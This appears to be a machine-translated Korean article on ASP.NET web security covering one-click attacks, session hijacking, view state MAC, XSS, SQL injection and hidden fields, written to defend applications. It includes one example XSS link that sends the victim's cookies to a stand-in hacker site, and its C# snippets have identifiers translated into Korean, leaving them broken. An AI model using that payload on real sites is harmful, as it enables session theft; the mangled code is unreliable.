이 기사를 읽고 있다면 웹 응용 프로그램의 보안이 점점 더 중요해지고 있다는 사실을 확신할 필요는 없을 것입니다. 아마도 필요한 것은 ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 몇 가지 실용적인 조언입니다. 나쁜 소식은 ASP.NET을 포함한 어떤 개발 플랫폼도 일단 플랫폼을 채택하면 100% 안전한 코드를 작성할 수 있다고 보장할 수 없다는 것입니다. 그렇게 말하는 사람은 거짓말을 하고 있는 것이 틀림없다. 좋은 소식은 ASP.NET의 경우 ASP.NET, 특히 버전 1.1과 향후 버전 2.0에는 사용하기 쉬운 몇 가지 기본 제공 방어 기능이 통합되어 있다는 것입니다.
이러한 기능을 모두 적용하는 것만으로는 예측 가능한 모든 공격으로부터 웹 애플리케이션을 보호하는 데 충분하지 않습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 결합하면 응용 프로그램이 안전한 환경에서 실행되도록 하는 데 도움이 되는 강력한 도구 키트가 될 수 있습니다.
웹 보안은 여러 요소의 총합이며 단일 애플리케이션을 훨씬 뛰어넘어 데이터베이스 관리, 네트워크 구성, 소셜 엔지니어링 및 피싱을 포함하는 전략의 결과입니다.
이 문서의 목적은 보안 표준을 합리적인 수준으로 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업을 설명하는 것입니다. 이것이 바로 보안에 관한 것입니다. 항상 경계를 늦추지 않고 경계심을 완전히 늦추지 마십시오. 그러면 악당이 해킹하기가 점점 더 어려워집니다.
이 작업을 단순화하기 위해 ASP.NET이 제공하는 기능을 살펴보겠습니다.
표 1에는 가장 일반적인 유형의 웹 공격과 이러한 공격이 성공할 수 있는 애플리케이션의 결함을 요약했습니다.
공격 | 가능한 공격 선동자 |
크로스 사이트 스크립팅(XSS) | 신뢰할 수 없는 사용자 입력을 페이지에 반영 |
SQL 주입 | 사용자 입력을 연결하여 SQL 명령 형성 |
세션 하이재킹 | 세션 ID 추측 및 도난당한 세션 ID 쿠키 |
한 번의 클릭 | 으로 스크립트를 통해 전송되는 신뢰할 수 없는 사용자 입력 HTTP 인식|
민감한 데이터로 가득 찬 확인되지 않은(신뢰할 수 있는) 숨겨진 | 필드 |
게시 |
일반적인 웹 공격
목록에서 밝혀진 주요 사실은 무엇입니까
제 생각에는 최소한 세 가지가 있습니다.
• | 브라우저의 마크업에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS 변형)에 노출될 가능성이 있습니다. |
• | 데이터베이스 액세스는 안전한 방식으로 구현되어야 합니다. 즉, 데이터베이스에 대해 가능한 한 적은 권한을 사용하고 역할을 통해 개별 사용자의 책임을 나누는 것입니다. |
• | 민감한 데이터는 절대로 네트워크를 통해 전송해서는 안 되며(일반 데이터는 물론) 안전한 방식으로 서버에 저장해야 합니다. |
흥미롭게도 위의 세 가지 사항은 각각 웹 보안의 세 가지 다른 측면을 대상으로 하며, 이 세 가지 측면의 조합은 공격 방지 및 변조 방지 애플리케이션을 생성하는 유일한 합리적인 방법입니다. 웹 보안의 다양한 계층은 다음과 같이 요약할 수 있습니다.
• | 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 확인, 변조 방지 조치 |
• | 데이터 액세스 정책: 가장 취약한 계정을 보호하기 위한 결정 사용, 저장 프로시저 사용 또는 최소한 매개변수화 사용 명령. |
• | 효율적인 저장 및 관리: 클라이언트에게 중요한 데이터를 전송하지 않고 해시 코드를 사용하여 작업을 감지하고 사용자를 인증하고 신원을 보호하며 엄격한 비밀번호 정책을 적용합니다. |
보시다시피 이는 개발을 통해서만 달성할 수 있습니다. 사람들의 결합된 노력, 설계자와 관리자는 보안 애플리케이션을 생성합니다. 다른 방법으로 동일한 목적을 달성할 수 있다고 가정하지 마십시오.
ASP.NET 응용 프로그램을 작성할 때 해커 군대에 맞서는 것은 혼자가 아닙니다. 유일한 무기는 두뇌, 기술 및 손가락으로 입력하는 코드 라인입니다. ASP.NET 1.1 이상에서는 위에 나열된 일부 위협에 대한 방어력을 자동으로 강화하는 특정 기능을 사용하여 문제를 해결합니다. 아래에서 자세히 살펴보겠습니다.
ASP.NET 1.1에서 도입되었습니다. ViewStateUserKey 는 Page 클래스의 문자열 속성입니다. 왜? 문서에 뭐라고 적혀 있는지 봅시다.
현재 페이지와 관련된 보기 상태 변수에서 개별 사용자에게 식별자를 할당하는
이 문장의 의미는 매우 명확하지만 속성의 원래 목적을 설명한다고 솔직하게 말씀해 주시겠습니까? ViewStateUserKey 의 역할을 이해하려면 비고 섹션까지 계속 읽어야 합니다.
이 속성은 뷰 상태가 변조되는 것을 방지하는 해시를 생성하기 위한 추가 입력을 제공하므로 원클릭 공격을 방지하는 데 도움이 됩니다. 즉, ViewStateUserKey는 해커가 클라이언트 뷰 상태의 콘텐츠를 사용하여 사이트에 대한 악성 게시물을 준비하는 것을 훨씬 더 어렵게 만듭니다. 이 속성에는 비어 있지 않은 문자열을 할당할 수 있지만 세션 ID나 사용자 ID를 사용하는 것이 좋습니다. 이 속성의 중요성을 더 잘 이해하기 위해 원클릭 공격의 기본 사항을 간략하게 소개하겠습니다.
원클릭 공격에는 알려진 취약한 웹 사이트에 악의적인 HTTP 양식을 게시하는 것이 포함됩니다. 피해자가 이메일을 통해 또는 혼잡한 포럼에서 검색하는 동안 찾은 유혹적인 링크를 실수로 클릭하는 경우가 많기 때문에 "원클릭"이라고 합니다. 링크를 클릭함으로써 사용자가 실수로 원격 프로세스를 트리거하여 결국 악성 <form>이 사이트에 제출되는 결과를 낳았습니다. 솔직하게 말하자면, 호기심 때문에 Click here to win $1,000,000 와 같은 링크를 클릭한 적이 없다고 정말로 말할 수 있습니까? 분명히 당신에게는 나쁜 일이 일어나지 않았습니다. 이것이 사실이라고 가정해 봅시다. 웹 커뮤니티의 다른 모든 사람들이 살아남았다고 말할 수 있습니까? 누가 알겠습니까?
원클릭 공격이 성공하려면 다음과 같은 특정 배경 조건이 필요합니다.
• | 공격자는 취약한 사이트에 대해 충분한 지식을 갖고 있어야 합니다. 이는 공격자가 파일을 "부지런히" 연구할 수 있거나 화가 난 내부자(예: 부정직한 이유로 해고된 직원)이기 때문에 가능합니다. 따라서 그러한 공격의 결과는 매우 심각할 수 있습니다. |
• | 단일 로그인을 활성화하려면 사이트에서 쿠키(영구 쿠키가 더 좋음)를 사용해야 하며, 공격자는 유효한 인증 쿠키를 받았습니다. |
• | 이 사이트의 일부 사용자는 민감한 거래에 참여했습니다. |
• | 공격자는 대상 페이지에 접근할 수 있어야 합니다. |
앞서 언급했듯이 공격에는 양식을 기다리는 페이지에 악성 HTTP 양식을 제출하는 것이 포함됩니다. 이 페이지는 게시된 데이터를 사용하여 일부 민감한 작업을 수행할 것으로 추론할 수 있습니다. 상상할 수 있듯이 공격자는 각 도메인을 사용하는 방법을 정확히 알고 있으며 목표를 달성하기 위해 가짜 값을 생각해 낼 수 있습니다. 이는 일반적으로 대상별 공격이며 삼각형 관계 때문에 추적이 어렵습니다. 즉, 해커는 피해자가 해커 사이트의 링크를 클릭하도록 속이고, 이로 인해 악성 코드가 다음 사이트에 게시됩니다. 제3자 사이트. (그림 1 참조)
그림 1. 원클릭 공격
왜 의심하지 않는 피해자인가? 이 경우 서버 로그에 악성 요청이 나타나는 IP 주소가 피해자의 IP 주소이기 때문이다. 앞서 언급했듯이 이 도구는 "클래식" XSS만큼 일반적이지 않고 실행하기도 쉽지 않습니다. 그러나 그 특성상 그 결과는 치명적일 수 있습니다. 그것을 처리하는 방법? 다음으로 이 공격이 ASP.NET 환경에서 어떻게 작동하는지 살펴보겠습니다.
작업이 Page_Load 이벤트에 코딩되지 않으면 ASP.NET 페이지가 포스트백 이벤트 외부에서 민감한 코드를 실행하는 것이 불가능합니다. 포스트백 이벤트가 발생하려면 뷰 상태 필드가 필요합니다. ASP.NET은 요청의 포스트백 상태를 확인하고 _VIEWSTATE 입력 필드가 있는지 여부에 따라 그에 따라 IsPostBack을 설정한다는 점에 유의하세요. 따라서 ASP.NET 페이지에 가짜 요청을 보내려는 사람은 유효한 보기 상태 필드를 제공해야 합니다.
원클릭 공격이 성공하려면 해커가 페이지에 액세스할 수 있어야 합니다. 이 시점에서 통찰력 있는 해커는 페이지를 로컬에 저장합니다. 이렇게 하면 _VIEWSTATE 필드에 액세스하고 해당 필드를 사용하여 다른 필드의 이전 보기 상태 및 악성 값으로 요청을 생성할 수 있습니다. 문제는 이것이 효과가 있을 것인가이다.
왜 안 돼? 공격자가 유효한 인증 쿠키를 제공할 수 있는 경우 해커는 진입권을 얻게 되며 요청은 정상적으로 처리됩니다. 보기 상태 내용은 서버에서 전혀 확인되지 않거나( EnableViewStataMac 이 꺼진 경우), 변경된 경우에만 확인됩니다. 기본적으로 보기 상태에는 이 콘텐츠를 특정 사용자와 연결하는 메커니즘이 없습니다. 공격자는 가짜 요청을 생성하기 위해 다른 사용자를 가장하여 획득한 보기 상태를 쉽게 재사용하여 페이지에 합법적으로 액세스할 수 있습니다. 여기가 ViewStateUserKey가 개입하는 곳입니다.
이 속성을 정확하게 선택하면 보기 상태에 사용자별 정보를 추가할 수 있습니다. 요청을 처리할 때 ASP.NET은 뷰 상태에서 키를 추출하고 이를 실행 페이지의 ViewStateUserKey 와 비교합니다. 두 가지가 일치하면 요청이 합법적인 것으로 간주됩니다. 그렇지 않으면 예외가 발생합니다. 이 속성에는 어떤 값이 유효합니까?
모든 사용자에 대해 ViewStateUserKey를 상수 문자열로 설정하는 것은 이를 비워 두는 것과 같습니다. 각 사용자마다 다른 값(사용자 ID, 바람직하게는 세션 ID)으로 설정해야 합니다. 일부 기술적 및 사회적 이유로 세션 ID는 예측할 수 없고 시간이 지나면 만료되며 사용자마다 다르기 때문에 세션 ID가 더 적합합니다.
다음은 모든 페이지에 필수적인 몇 가지 코드입니다.
void Page_Init (객체 전송자, EventArgs e) { ViewStateUserKey = 세션.세션ID; : }
이러한 코드가 중복되는 것을 방지하려면 Page 에서 파생된 클래스의 OnInit 가상 메서드에서 코드를 수정할 수 있습니다. (이 속성은 Page.Init 이벤트에서 설정해야 합니다.)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = 세션.세션ID; }
일반적으로 Build Your ASP.NET Pages on a Richer Bedrock 문서에서 설명했듯이 기본 페이지 클래스를 사용하는 것은 항상 좋은 일입니다. 원클릭 공격자의 수법에 대해 자세히 알아보려면 aspnetpro.com 에서 매우 유용한 기사를 찾을 수 있습니다.
쿠키는 개발자가 특정 목적을 달성하는 데 도움이 되기 때문에 존재합니다. 쿠키는 브라우저와 서버 간의 지속적인 링크 역할을 합니다. 특히 Single Sign-On을 사용하는 애플리케이션의 경우 도난당한 쿠키로 인해 공격이 가능해집니다. 이는 원클릭 공격의 경우에도 마찬가지입니다.
쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 생성하고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우 암시적으로 쿠키를 사용하게 됩니다. 물론 ASP.NET은 쿠키 없는 세션 상태를 지원하며 ASP.NET 2.0에는 쿠키 없는 양식 인증도 도입되었습니다. 따라서 이론적으로는 쿠키 없이 이러한 기능을 사용할 수 있습니다. 더 이상 이 일을 할 필요가 없다고 말하는 것은 아니지만, 사실 이것은 치료가 질병보다 더 나쁜 상황 중 하나입니다. 쿠키가 없는 세션은 실제로 누구나 볼 수 있도록 URL에 세션 ID를 포함합니다.
쿠키 사용과 관련된 잠재적인 문제는 무엇입니까? 쿠키는 도난당하거나(예: 해커의 컴퓨터에 복사) 중독될 수 있습니다(예: 악성 데이터로 가득 차 있음). 이러한 조치는 다가오는 공격의 전주곡인 경우가 많습니다. 도난당한 경우 쿠키는 외부 사용자가 귀하를 대신하여 애플리케이션에 연결하고 보호된 페이지를 사용할 수 있도록 "승인"하여 잠재적으로 해커가 승인을 쉽게 우회하고 피해자에게 허용되는 역할 및 보안 설정을 수행할 수 있도록 허용합니다. 어떤 작업. 따라서 인증 쿠키에는 일반적으로 30분이라는 상대적으로 짧은 수명이 제공됩니다. (브라우저 세션을 완료하는 데 시간이 더 오래 걸리더라도 쿠키는 여전히 만료됩니다.) 도난이 발생하는 경우 해커는 30분 동안 공격을 시도할 수 있습니다.
이 시간 제한을 더 길게 설정하면 사용자가 너무 자주 로그인하지 않아도 되지만 그렇게 하면 위험에 빠질 수 있다는 점에 유의하세요. 어떤 상황에서도 ASP.NET 영구 쿠키의 사용을 피해야 합니다. 그러면 최대 50년의 거의 영구적인 수명을 가진 쿠키가 생성됩니다! 다음 코드 조각은 쿠키의 만료 날짜를 쉽게 수정하는 방법을 보여줍니다.
void OnLogin(객체 전송자, EventArgs e) { // 자격증명 확인 if (ValidateUser(사용자, pswd)) { // 쿠키의 만료 날짜를 설정합니다. HttpCookie 쿠키; cookie = FormsAuthentication.GetAuthCookie(user, isPerpersist); if(isPerpersist) 쿠키.Expires = DateTime.Now.AddDays(10); //응답에 쿠키를 추가합니다. 응답.쿠키.추가(쿠키); //리디렉션 문자열 targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPertant); Response.Redirect(targetUrl); } }
로그인 양식에서 이 코드를 사용하여 인증 쿠키의 수명을 미세 조정할 수 있습니다.
쿠키는 특정 사용자의 세션 상태를 검색하는 데에도 사용됩니다. 세션 ID는 요청과 함께 앞뒤로 전송되고 브라우저의 컴퓨터에 저장되는 쿠키에 저장됩니다. 마찬가지로 도난당한 경우 세션 쿠키를 사용하여 해커가 시스템에 침입하여 다른 사람의 세션 상태에 액세스할 수 있습니다. 말할 필요도 없이 이는 지정된 세션이 활성 상태인 한(보통 20분 이내) 가능합니다. 세션 상태를 가장한 공격을 세션 하이재킹 이라고 합니다. 세션 하이재킹에 대한 자세한 내용은 Theft On The Web: Prevent Session Hijacking 을 참조하세요.
이 공격은 얼마나 위험합니까? 말하기가 어렵습니다. 이는 웹 사이트의 기능에 따라 달라지며, 더 중요하게는 사이트 페이지의 디자인 방식에 따라 달라집니다. 예를 들어, 다른 사람의 세션 쿠키를 얻어 사이트의 페이지 요청에 첨부할 수 있었다고 가정해 보겠습니다. 페이지를 로드하고 일반 사용자 인터페이스를 단계별로 진행합니다. 페이지가 다른 사용자의 세션 상태를 사용하여 작동한다는 점을 제외하고 페이지에 코드를 삽입하거나 페이지의 어떤 것도 수정할 수 없습니다. 이는 그 자체로는 그다지 나쁘지 않지만 해당 세션의 정보가 민감하고 중요한 경우 공격 성공으로 직접 이어질 수 있습니다. 해커는 세션 저장소의 콘텐츠에 침투할 수 없지만, 거기에 저장된 정보를 마치 합법적으로 들어간 것처럼 사용할 수 있습니다. 예를 들어, 사용자가 사이트를 검색하는 동안 장바구니에 항목을 추가하는 전자 상거래 애플리케이션을 생각해 보세요.
• | 옵션 1. 장바구니의 내용은 세션 상태에 저장됩니다. 그러나 결제하는 동안 사용자는 보안 SSL 연결을 통해 결제 세부정보를 확인하고 입력해야 합니다. 이 경우 해커는 다른 사용자의 세션 상태에 액세스하여 피해자의 쇼핑 선호도에 대한 일부 세부 정보만 알 수 있습니다. 이 환경에서의 하이재킹은 실제로 아무런 피해를 입히지 않습니다. 중요한 것은 기밀 유지입니다. |
• | 옵션 2. 애플리케이션은 등록된 각 사용자에 대해 하나의 프로필을 처리하고 해당 프로필을 세션 상태에 저장합니다. 더 나쁜 것은 프로필에 (아마도) 신용 카드 정보가 포함되어 있다는 것입니다. 프로필 세부 정보가 세션에 저장되는 이유는 무엇입니까? 아마도 이 앱의 목표 중 하나는 사용자가 신용 카드 및 은행 정보를 반복적으로 입력하지 않아도 되도록 하는 것입니다. 따라서 결제 시 애플리케이션은 사용자를 도메인이 미리 채워진 페이지로 안내합니다. 불필요하게 이러한 필드 중 하나는 세션 상태에서 얻은 신용 카드 번호입니다. 이제 이야기가 어떻게 끝날지 추측할 수 있나요? |
애플리케이션 페이지 디자인은 세션 하이재킹 공격을 방지하는 핵심입니다. 물론 아직 명확하게 밝혀지지 않은 두 가지 사항이 있습니다. 첫 번째 포인트는, 쿠키 도용을 방지하는 방법은 무엇일까요? 두 번째 요점은 ASP.NET이 하이재킹을 어떻게 감지하고 방지할 수 있는가입니다.
ASP.NET 세션 쿠키는 매우 간단하며 세션 ID 문자열 자체를 포함하는 것으로 제한됩니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출하여 활성 세션과 비교합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하고 계속합니다. 이 동작은 유효한 세션 ID를 훔쳤거나 추측할 수 있는 해커를 크게 촉진합니다.
XSS, 중간자 공격, 클라이언트 PC에 대한 무차별 대입 액세스는 모두 유효한 쿠키를 얻기 위한 방법입니다. 도난을 방지하려면 XSS 및 그 변형이 성공하지 못하도록 보안 모범 사례를 구현해야 합니다.
그리고 세션 ID 추측을 방지하려면 자신의 기술을 과대평가하지 않아야 합니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 안다는 것을 의미합니다. ASP.NET에서 사용하는 알고리즘(URL 지원 문자에 매핑된 15개의 난수)의 경우 유효한 ID를 무작위로 추측할 확률은 0에 가깝습니다. 기본 세션 ID 생성기를 사용자 고유의 것으로 교체해야 할 이유가 생각나지 않습니다. 대부분의 경우 그렇게 하면 공격자의 작업이 더 쉬워질 뿐입니다.
세션 하이재킹의 더 나쁜 결과는 일단 쿠키가 도난당하거나 추측되면 ASP.NET이 사기성 쿠키 사용을 감지할 방법이 없다는 것입니다. 그 이유는 ASP.NET 자체가 ID의 유효성과 쿠키의 출처를 확인하는 것으로 제한되기 때문입니다.
Wintellect의 내 친구 Jeff Prosise가 MSDN Magazine 에 세션 하이재킹에 대한 좋은 기사를 썼습니다. 그의 결론은 위안이 되지 않습니다. 도난당한 세션 ID 쿠키를 기반으로 한 공격으로부터 완벽하게 보호할 수 있는 방어를 구축하는 것은 거의 불가능합니다. 그러나 그가 개발한 코드는 보안 표준을 더욱 향상시키기 위한 매우 합리적인 제안을 제공합니다. Jeff는 세션 ID 쿠키에 대해 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 세션 ID에 해시 코드를 추가하여 공격자가 쿠키를 재사용하기 어렵게 만듭니다. 여기에서 자세한 내용을 읽을 수 있습니다.
보기 상태는 동일한 페이지에 대한 두 개의 연속 요청 간의 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 보기 상태는 변조를 방지하기 위해 Base64로 인코딩되고 해시로 서명됩니다. 기본 페이지 설정을 변경하지 않고 보기 상태를 조작하는 것은 불가능합니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 재생성하는 경우 ASP.NET은 이러한 시도를 포착하고 예외를 발생시킵니다. 보기 상태를 조작하는 것이 서버 컨트롤의 상태를 수정하기는 하지만 반드시 해로운 것은 아니지만 심각한 감염의 원인이 될 수 있습니다. 따라서 기본적으로 발생하는 컴퓨터 인증 코드(MAC) 교차 확인을 제거 하지 않는 것이 매우 중요합니다. 그림 2를 참조하세요.
그림 2. EnableViewStateMac이 활성화된 경우 보기 상태 자체를 변조하기 어렵게 만드는 요소
MAC 검사가 활성화되면(기본값) 해시 값이 직렬화된 보기 상태에 추가됩니다. 이 보기 상태는 일부 서버측 값과 보기 상태 사용자 암호(있는 경우)를 사용하여 생성됩니다. 뷰 상태가 다시 게시되면 새 서버측 값을 사용하여 해시가 다시 계산되고 저장된 값과 비교됩니다. 두 가지가 일치하면 요청이 허용되고, 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 해독하고 재생성할 수 있다고 가정하더라도 유효한 해시를 파생하려면 서버에 저장된 값을 알아야 합니다. 특히 해커는 machine.config의 <machineKey> 항목에 참조된 컴퓨터 키를 알아야 합니다.
기본적으로 항목은 자동으로 생성되어 Windows LSA( 로컬 보안 기관 )에 물리적으로 저장됩니다. 보기 상태에 대한 컴퓨터 키가 모든 컴퓨터에서 동일해야 하는 웹 팜의 경우에만 machine.config 파일에 일반 텍스트로 지정해야 합니다.
보기 상태 MAC 확인은 EnableViewStateMac 이라는 @Page 지시문 속성을 통해 제어됩니다. 앞서 언급했듯이 기본적으로 true로 설정되어 있습니다. 이 기능을 비활성화하지 마십시오. 그렇게 하면 성공 가능성이 높은 보기 상태 변조에 대한 원클릭 공격이 가능해집니다.
XSS(교차 사이트 스크립팅)는 1999년부터 사용되어 온 경험 많은 웹 개발자들의 오랜 친구입니다. 간단히 말해서 XSS는 코드의 취약점을 이용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 도입합니다. 실행되면 주입된 코드는 다양한 작업을 수행할 수 있습니다. 즉, 쿠키를 획득하고 해커가 제어하는 웹 사이트에 복사본을 업로드하고, 사용자의 웹 세션을 모니터링하고 데이터를 전달하고, 해킹된 페이지의 동작과 모양을 수정하여 잘못된 정보를 제공하거나 사용자가 다음에 페이지를 다시 방문할 때 사기성 코드가 다시 실행되도록 지속적으로 노력하세요. TechNet 문서 교차 사이트 스크립팅 개요 에서 XSS 공격의 기본 사항에 대해 자세히 읽어 보십시오.
코드의 어떤 취약점으로 인해 XSS 공격이 가능합니까?
XSS는 HTML 페이지를 동적으로 생성하지만 페이지에 반환된 입력의 유효성을 검사하지 않는 웹 응용 프로그램을 이용합니다. 여기의 입력은 쿼리 문자열, 쿠키 및 양식 필드의 내용을 나타냅니다. 적절한 성능 점검 없이 이 콘텐츠가 웹에 나타나면 해커가 이를 조작하여 클라이언트 브라우저에서 악성 스크립트를 실행할 위험이 있습니다. (앞서 언급한 원클릭 공격은 실제로 XSS의 최근 변종입니다.) 일반적인 XSS 공격은 의심하지 않는 사용자가 링크에 포함된 스크립트 코드를 탈출한 유혹적인 링크를 클릭하게 만듭니다. 사기성 코드는 의심 없이 출력되는 취약한 페이지로 전송됩니다. 일어날 수 있는 일의 예는 다음과 같습니다.
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <스크립트>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? 쿠키=' + document.cookie); </script>">상품을 받으려면 클릭하세요</a>
사용자가 안전해 보이는 링크를 클릭하면 결국 일부 스크립트 코드가 취약한 페이지로 전달되고, 이 페이지는 먼저 사용자 컴퓨터의 모든 쿠키를 얻은 다음 이를 해커의 웹 사이트로 보냅니다.
XSS는 공급업체별 문제가 아니므로 반드시 Internet Explorer의 취약점을 악용하는 것은 아니라는 점을 기억하는 것이 중요합니다. 이는 현재 시장에 나와 있는 모든 웹 서버와 브라우저에 영향을 미칩니다. 단일 패치로는 이 문제를 해결할 수 없다는 점에 유의해야 합니다. 특정 조치와 사운드 코딩 방법을 적용하여 XSS 공격으로부터 페이지를 보호할 수 있습니다. 또한 공격자는 공격을 시작하기 위해 사용자에게 링크를 클릭하도록 요구하지 않습니다.
XSS를 방어하려면 기본적으로 어떤 입력이 유효한지 확인한 다음 다른 모든 입력을 거부해야 합니다. Michael Howard와 David LeBlanc이 쓴 Microsoft - Writing Secure Code 책에서 XSS 공격 방어를 위한 자세한 검사 목록을 읽을 수 있습니다. 특히 13장을 주의 깊게 읽어보시길 권합니다.
교활한 XSS 공격을 막는 주요 방법은 입력(모든 유형의 입력 데이터)에 잘 설계되고 효과적인 유효성 검사 계층을 추가하는 것입니다. 예를 들어, 무해한 색상(RGB 삼색)이라도 제어되지 않는 스크립트를 페이지에 직접 가져올 수 있는 경우가 있습니다 .
ASP.NET 1.1에서는 @Page 지시문의 ValidateRequest 특성이 켜져 있으면 사용자가 쿼리 문자열, 쿠키 또는 양식 필드에 잠재적으로 위험한 HTML 태그를 보내지 않는지 확인하는 검사가 수행됩니다. 이것이 감지되면 예외가 발생하고 요청이 중단됩니다. 이 속성은 기본적으로 켜져 있습니다. 보호하기 위해 어떤 작업도 수행할 필요가 없습니다. HTML 태그의 통과를 허용하려면 이 속성을 적극적으로 비활성화해야 합니다.
<%@ 페이지 ValidateRequest="false" %>
ValidateRequest는 만병통치약이 아니며 효과적인 유효성 검사 레이어를 대체할 수 없습니다. 이 기능의 기본 사항에 대한 귀중한 정보를 풍부하게 보려면 여기를 읽어 보십시오. 기본적으로 정규식을 적용하여 잠재적으로 유해한 시퀀스를 포착하는 방식으로 작동합니다.
참고: ValidateRequest 기능은 원래 버그가 있었기 때문에 예상대로 작동하려면 패치를 적용해야 합니다. 이러한 중요한 정보는 종종 눈에 띄지 않습니다. 이상하게도 내 컴퓨터 중 하나가 여전히 결함의 영향을 받고 있다는 사실을 발견했습니다. 한번 시도해 보세요!
ValidateRequest 를 닫을 이유가 없습니다. 이를 비활성화할 수 있지만 아주 좋은 이유 중 하나는 사용자가 더 나은 형식 지정 옵션을 얻기 위해 사이트에 일부 HTML을 게시할 수 있어야 한다는 것입니다. 이 경우 허용되는 HTML 태그( <pre> , <b> , <i> , <p> , <br> , <hr> ) 수를 제한하고 다른 태그가 허용되지 않도록 정규식을 작성해야 합니다. 또는 수락.
다음은 XSS 공격으로부터 ASP.NET을 보호하는 데 도움이 되는 몇 가지 추가 팁입니다.
• | HttpUtility.HtmlEncode를 사용하여 위험한 기호를 HTML 표현으로 변환합니다. |
• | HTML 인코딩은 큰따옴표만 이스케이프하므로 작은따옴표 대신 큰따옴표를 사용합니다. |
• | 코드 페이지를 강제로 사용하여 사용할 수 있는 문자 수를 제한합니다. |
즉, ValidateRequest 속성을 사용하되 완전히 신뢰하지는 말고 너무 게으르지 마십시오. XSS와 같은 보안 위협을 근본적으로 이해하고 모든 사용자 입력은 위험하다는 한 가지 핵심 사항을 중심으로 방어 전략을 계획하는 시간을 가지십시오.
SQL 주입은 데이터베이스 명령을 형성하기 위해 정제되지 않은 사용자 입력을 사용하는 애플리케이션을 악용하는 또 다른 잘 알려진 공격 유형입니다. 응용 프로그램이 사용자가 양식 필드에 입력한 내용을 사용하여 SQL 명령 문자열을 생성하는 경우 악의적인 사용자가 단순히 페이지를 방문하고 사기성 매개 변수를 입력함으로써 쿼리의 성격을 수정할 수 있는 위험에 노출됩니다. 여기에서 SQL 삽입에 대해 자세히 알아볼 수 있습니다.
SQL 주입 공격을 방지하는 방법에는 여러 가지가 있습니다. 가장 일반적인 기술은 아래에 설명되어 있습니다.
• | 사용자 입력이 적절한 유형이고 예상 패턴(우편번호, ID 번호, 이메일 등)을 따르는지 확인하십시오. 텍스트 상자의 숫자가 예상되는 경우 사용자가 숫자로 변환할 수 없는 내용을 입력하면 요청을 차단합니다. |
• | 매개변수화된 쿼리, 바람직하게는 저장 프로시저를 사용합니다. |
• | SQL Server 권한을 사용하여 개별 사용자가 데이터베이스에서 수행할 수 있는 작업을 제한합니다. 예를 들어, xp_cmdshell을 비활성화하거나 작업을 관리자로만 제한해야 할 수도 있습니다. |
저장 프로시저를 사용하면 이 공격의 가능성을 크게 줄일 수 있습니다. 실제로 저장 프로시저를 사용하면 SQL 문자열을 동적으로 구성할 필요가 없습니다. 또한 SQL Server는 모든 매개 변수에 지정된 유형이 있는지 확인합니다. 이러한 기술만으로는 100% 안전하지는 않지만 검증과 결합하면 보안을 향상시키기에 충분합니다.
더 중요한 것은 권한이 있는 사용자만 테이블 삭제와 같이 심각한 결과를 초래할 수 있는 작업을 수행할 수 있도록 해야 한다는 것입니다. 이를 위해서는 애플리케이션의 중간 계층을 신중하게 설계해야 합니다. 좋은 기술은 (단순히 안전을 위해서가 아니라) 캐릭터에 초점을 맞추는 것입니다. 사용자는 역할과 각 역할에 대한 최소 권한 집합으로 정의된 계정으로 그룹화되어야 합니다.
몇 주 전, Wintellect 웹 사이트는 매우 정교한 SQL 주입 공격을 받았습니다. 해커는 잠재적으로 악성인 실행 프로그램을 다운로드하기 위해 FTP 스크립트를 생성하고 실행하려고 시도했습니다. 다행히 공격은 실패했습니다. 아니면 공격이 실패하게 된 원인이 실제로 강력한 사용자 인증, 저장 프로시저 사용 및 SQL Server 권한 사용이었습니까?
요약하자면, 유해한 SQL 코드가 삽입되는 것을 방지하려면 다음 지침을 따라야 합니다.
• | 가능한 적은 권한으로 실행하고 코드를 "sa"로 실행하지 마십시오. |
• | 내장된 저장 프로시저에 대한 액세스를 제한합니다. |
• | SQL 매개변수화된 쿼리 사용을 선호합니다. |
• | 문자열 연결을 통해 명령문을 생성하지 않으며 데이터베이스 오류를 에코하지 않습니다. |
기존 ASP에서는 숨겨진 필드가 요청 간에 데이터를 유지하는 유일한 방법이었습니다. 다음 요청에서 검색해야 하는 모든 데이터는 숨겨진 <input> 필드에 압축되고 반환 패스가 수행됩니다. 누군가가 클라이언트의 이 필드에 저장된 값을 수정하면 어떻게 되나요? 텍스트가 명확한 한 서버 측 환경은 이를 감지할 수 없습니다. ASP.NET에서 페이지와 각 컨트롤의 ViewState 속성에는 두 가지 용도가 있습니다. 한편, ViewState는 요청 전반에 걸쳐 상태를 유지하는 방법인 반면, ViewState를 사용하면 보호되고 쉽게 변조할 수 없는 숨겨진 필드에 사용자 지정 값을 저장할 수 있습니다.
그림 2와 같이 뷰 상태에는 해시 값이 추가되며, 각 요청마다 이 값을 확인하여 변조가 발생했는지 감지합니다. 몇 가지 경우를 제외하면 ASP.NET에서는 숨겨진 필드를 사용할 이유가 없습니다. 상태 보기는 훨씬 안전한 방식으로 동일한 기능을 달성합니다. 바로 언급했듯이, 숨겨진 필드에 민감한 값(예: 가격 또는 신용카드 정보)을 저장하면 해커에게 문이 열리게 되어 이러한 나쁜 습관이 이전보다 더 안전해질 수도 있습니다. 데이터 보호 메커니즘. 그러나 보기 상태는 변조가 불가능하지만 암호화를 사용하지 않는 한 기밀성은 보장되지 않습니다. 보기 상태에 저장된 신용 카드 세부 정보는 어쨌든 위험에 처해 있습니다.
